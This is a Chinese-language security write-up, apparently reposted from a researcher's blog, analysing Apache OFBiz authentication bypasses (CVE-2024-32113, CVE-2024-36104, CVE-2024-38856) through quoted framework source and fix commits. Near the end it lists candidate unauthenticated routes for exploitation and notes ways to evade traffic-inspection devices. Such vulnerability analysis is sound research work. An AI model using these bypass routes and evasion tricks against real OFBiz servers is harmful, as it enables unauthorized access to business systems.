    static Collection<RequestMap> resolveURI(ControllerConfig ccfg, HttpServletRequest req) {
    Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap();
    Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap();
    String defaultRequest = ccfg.getDefaultRequest();
    String path = req.getPathInfo();
    String requestUri = getRequestUri(path);
    String viewUri = getOverrideViewUri(path);
    Collection<RequestMap> rmaps;
    if (requestMapMap.containsKey(requestUri)

    && (viewUri == null || viewMapMap.containsKey(viewUri)
    || ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString())))){
    rmaps = requestMapMap.get(requestUri);
    } else if (defaultRequest != null) {
    rmaps = requestMapMap.get(defaultRequest);
    } else {
    rmaps = null;
    }
    return rmaps != null ? rmaps : Collections.emptyList();
    }

因此必须要有低权限账号,这个漏洞完成的只是低权限账号的权限提升

CVE-2024-32113/CVE-2024-36104

从commit不难看出

https://github.com/apache/ofbiz-framework/commit/b91a9b7f26

https://github.com/apache/ofbiz-framework/commit/b3b87d98dd

聪明的开发者知道对contextPath做normalize处理

image-20240624002738505

image-20240624004058286

然而狡猾的黑客又聪明的次实现了绕过,毕竟无论是getRequestURI还getRequestURL都不会做url解码,另外也可以配合分号的使用绕过校验

image-20240624004152877

这下开发者一个头两个大,最终还是通过正则完成了漏洞的修复

https://github.com/apache/ofbiz-framework/commit/d33ce31012

image-20240624004600901

然而真的完结了么?

CVE-2024-38856权限绕过浅析

接着上文埋下的坑,在对漏洞的分析过程中我发现一个有趣的点

在这里默认情况下我们渲染的视图为nextRequestResponse.value,说人话就是根据我们路由的返回结果来自动选择视图,这里分为三种情况

一种是定义了event的路由(通常是不需要鉴权的),会根据对应event的执行结果决定渲染类型

另一种是没有定义event的路由,但security中auth为true的路由,会根据认证返回结果决定渲染类型

最后一种则是既没有定义event、又没有认证的路由,这种会直接取配置中success的结果对应的值作为渲染类型

1
2
3
4
5
6
7
if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);


String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}

而在这里我们不难看出如果变量overrideViewUri存在,并且事件返回为success,那么渲染的视图则为overrideViewUri的值,对于攻击者而言以上的几种情况,毫无疑问,我们自然是优先选择第三种未授权的情形

那么接下来我们就要看看overrideViewUri如何控制,对于非链式请求,其取值在两个地方存在,一是预处理当returnString不为success时,但是我们一开始简单给大家展示过这些预处理事件,通常对于正常访问来说这些校验都是直接通过的我们不必过多关注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) {
try {
String returnString = this.runEvent(request, response, event, null, "preprocessor");
if (returnString == null || "none".equalsIgnoreCase(returnString)) {
interruptRequest = true;
} else if (!"success".equalsIgnoreCase(returnString)) {
if (!returnString.contains(":_protect_:")) {
throw new EventHandlerException("Pre-Processor event [" + event.invoke + "] did not return 'success'.");
} else {
returnString = returnString.replace(":_protect_:", "");
if (returnString.length() > 0) {
request.setAttribute("_ERROR_MESSAGE_", returnString);
}
eventReturn = null;

if (!requestMap.requestResponseMap.containsKey("protect")) {
if (ccfg.getProtectView() != null) {
overrideViewUri = ccfg.getProtectView();
} else {
overrideViewUri = EntityUtilProperties.getPropertyValue("security", "default.error.response.view", delegator);
overrideViewUri = overrideViewUri.replace("view:", "");
if ("none:".equals(overrideViewUri)) {
interruptRequest = true;
}
}
}
}
}
} catch (EventHandlerException e) {
Debug.logError(e, module);
}
}
}

另一个就是程序一开头的代码片段中,分别通过path获取了requesturi以及overrideViewUri

1
2
3
String path = request.getPathInfo();
String requestUri = getRequestUri(path);
String overrideViewUri = getOverrideViewUri(path);

前者用于在resolveURI取得路由配置,后者则用于视图渲染,而如果我们仔细看这两个函数的实现我们会发现,requesturi取的是path第一个/及之后的值,而overrideViewUri取的是path第二个/及之后的值,看到这里我们不由发现,如果我们将path后第一个/后的路由设置为不鉴权且路由的type为view。而第二个/后的设置为需要利用的路由,那么我们便能实现权限的绕过了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public static Collection<RequestMap> resolveURI(ControllerConfig ccfg, HttpServletRequest req) {
Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap();
Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap();
String defaultRequest = ccfg.getDefaultRequest();
String path = req.getPathInfo();
String requestUri = getRequestUri(path);
String viewUri = getOverrideViewUri(path);
Collection<RequestMap> rmaps;
if (requestMapMap.containsKey(requestUri)

&& (viewUri == null || viewMapMap.containsKey(viewUri)
|| ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString())))){
rmaps = requestMapMap.get(requestUri);
} else if (defaultRequest != null) {
rmaps = requestMapMap.get(defaultRequest);
} else {
rmaps = null;
}
return rmaps != null ? rmaps : Collections.emptyList();
}

public static String getRequestUri(String path) {
List<String> pathInfo = StringUtil.split(path, "/");
if (UtilValidate.isEmpty(pathInfo)) {
Debug.logWarning("Got nothing when splitting URI: " + path, module);
return null;
}
if (pathInfo.get(0).indexOf('?') > -1) {
return pathInfo.get(0).substring(0, pathInfo.get(0).indexOf('?'));
} else {
return pathInfo.get(0);
}
}

public static String getOverrideViewUri(String path) {
List<String> pathItemList = StringUtil.split(path, "/");
if (pathItemList == null) {
return null;
}
pathItemList = pathItemList.subList(1, pathItemList.size());

String nextPage = null;
for (String pathItem: pathItemList) {
if (pathItem.indexOf('~') != 0) {
if (pathItem.indexOf('?') > -1) {
pathItem = pathItem.substring(0, pathItem.indexOf('?'));
}
nextPage = (nextPage == null ? pathItem : nextPage + "/" + pathItem);
}
}
return nextPage;
}

可利用的点

根据以上的分析其实可利用的点有很多,简单写一个xml解析工具提取,以下结果以|分隔,不一定都能用,简单跑了一下xml程序解析

1
secureCertDateTime|view|main|checkLogin|ajaxCheckLogin|login|forgotPassword|forgotPasswordReset|ListLocales|ListTimezones|ListSetCompanies|showHelpPublic|getUiLabels|editPortalPageColumnWidth|FixedAssetSearchResults|BudgetSearchResults|reconcileFinAccountTrans|assignGlRecToFinAccTrans|addGiftCertificateSurvey|addCategoryDefaults|crosssell|ViewSimpleContent|ViewSimpleContent|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList|viewImage|listMiniproduct|FacilitySearchResults|contactListOptOut|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList

对抗流量设备的点

围绕以下两个函数即可,可以在路由中添加~之类的做分隔,当然还有其他姿势这里就不展开了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static String getRequestUri(String path) {
List<String> pathInfo = StringUtil.split(path, "/");
if (UtilValidate.isEmpty(pathInfo)) {
Debug.logWarning("Got nothing when splitting URI: " + path, module);
return null;
}
if (pathInfo.get(0).indexOf('?') > -1) {
return pathInfo.get(0).substring(0, pathInfo.get(0).indexOf('?'));
} else {
return pathInfo.get(0);
}
}

public static String getOverrideViewUri(String path) {
List<String> pathItemList = StringUtil.split(path, "/");
if (pathItemList == null) {
return null;
}
pathItemList = pathItemList.subList(1, pathItemList.size());

String nextPage = null;
for (String pathItem: pathItemList) {
if (pathItem.indexOf('~') != 0) {
if (pathItem.indexOf('?') > -1) {
pathItem = pathItem.substring(0, pathItem.indexOf('?'));
}
nextPage = (nextPage == null ? pathItem : nextPage + "/" + pathItem);
}
}
return nextPage;
}

文章来源: https://y4tacker.github.io/2024/06/23/year/2024/8/Apache-OFBiz-Authentication-Bypass-CVE-2024-38856/
如有侵权请联系:admin#unsafe.sh